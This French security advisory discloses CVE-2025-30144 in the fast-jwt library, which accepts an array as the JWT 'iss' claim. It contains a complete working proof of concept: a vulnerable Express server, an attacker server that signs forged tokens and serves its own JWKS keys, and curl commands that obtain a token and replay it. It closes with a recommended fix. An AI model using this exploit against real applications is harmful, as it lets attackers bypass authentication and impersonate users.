
Preuve de concept pour CVE-2025-30144 : contournement de la validation de l'émetteur JWT dans la bibliothèque fast-jwt permettant aux attaquants de forger des jetons avec des revendications iss basées sur des tableaux.
La bibliothèque fast-jwt ne valide pas correctement la revendication iss conformément à la RFC https://datatracker.ietf.org/doc/html/rfc7519#page-9.
La validation de la revendication iss (émetteur) dans la bibliothèque fast-jwt autorise un tableau de chaînes de caractères comme valeur iss valide. Cette faille de conception permet une attaque potentielle dans laquelle un acteur malveillant crée un JWT avec une revendication iss structurée comme ['https://attacker-domain/', 'https://valid-iss']. En raison de cette validation permissive, le JWT sera considéré comme valide.
De plus, si l'application s'appuie sur des bibliothèques externes comme get-jwks qui ne valident pas indépendamment la revendication iss, l'attaquant peut exploiter cette vulnérabilité pour forger un JWT qui sera accepté par l'application victime. Essentiellement, l'attaquant peut insérer son propre domaine dans le tableau , aux côtés de l'émetteur légitime, et contourner les contrôles de sécurité prévus.
issPrenons un serveur exécutant le code suivant :
const express = require('express')
const buildJwks = require('get-jwks')
const { createVerifier } = require('fast-jwt')
const jwks = buildJwks({ providerDiscovery: true });
const keyFetcher = async (jwt) =>
jwks.getPublicKey({
kid: jwt.header.kid,
alg: jwt.header.alg,
domain: jwt.payload.iss
});
const jwtVerifier = createVerifier({
key: keyFetcher,
allowedIss: 'https://valid-iss',
});
const app = express();
const port = 3000;
app.use(express.json());
async function verifyToken(req, res, next) {
const headerAuth = req.headers.authorization.split(' ')
let token = '';
if (headerAuth.length > 1) {
token = headerAuth[1];
}
const payload = await jwtVerifier(token);
req.decoded = payload;
next();
}
// Endpoint to check if you are auth or not
app.get('/auth', verifyToken, (req, res) => {
res.json(req.decoded);
});
app.listen(port, () => {
console.log(`Server is running on port ${port}`);
});
Maintenant, nous construisons un serveur qui sera utilisé pour générer le jeton JWT et envoyer les clés de vérification au serveur victime :
const { generateKeyPairSync } = require('crypto');
const express = require('express');
const pem2jwk = require('pem2jwk');
const jwt = require('jsonwebtoken');
const app = express();
const port = 3001;
const host = `http://localhost:${port}/`;
const { publicKey, privateKey } = generateKeyPairSync("rsa",
{ modulusLength: 4096,
publicKeyEncoding: { type: 'pkcs1', format: 'pem' },
privateKeyEncoding: { type: 'pkcs1', format: 'pem' },
},
);
const jwk = pem2jwk(publicKey);
app.use(express.json());
// Endpoint to create token
app.post('/create-token', (req, res) => {
const token = jwt.sign({ ...req.body, iss: [host, 'https://valid-iss'], }, privateKey, { algorithm: 'RS256' });
res.send(token);
});
app.get('/.well-known/jwks.json', (req, res) => {
return res.json({
keys: [{
...jwk,
alg: 'RS256',
use: 'sig',
}]
});
})
app.all('*', (req, res) => {
return res.json({
"issuer": host,
"jwks_uri": host + '.well-known/jwks.json'
});
});
app.listen(port, () => {
console.log(`Server is running on port ${port}`);
});
export TOKEN=$(curl -X POST http://localhost:3001/create-token -H "Content-Type: application/json" -d '{"name": "test"}')
curl -X GET http://localhost:3000/auth -H "Authorization: Bearer $TOKEN"
Les applications qui s'appuient sur la validation de la revendication iss par fast-jwt permettent aux attaquants de signer des charges utiles arbitraires qui seront acceptées par le vérificateur.
Remplacez https://github.com/nearform/fast-jwt/blob/d2b0ccb103848917848390f96f06acee339a7a19/src/verifier.js#L475 par un validateur qui n'accepte que des chaînes de caractères comme valeur, comme indiqué dans la RFC https://datatracker.ietf.org/doc/html/rfc7519#page-9.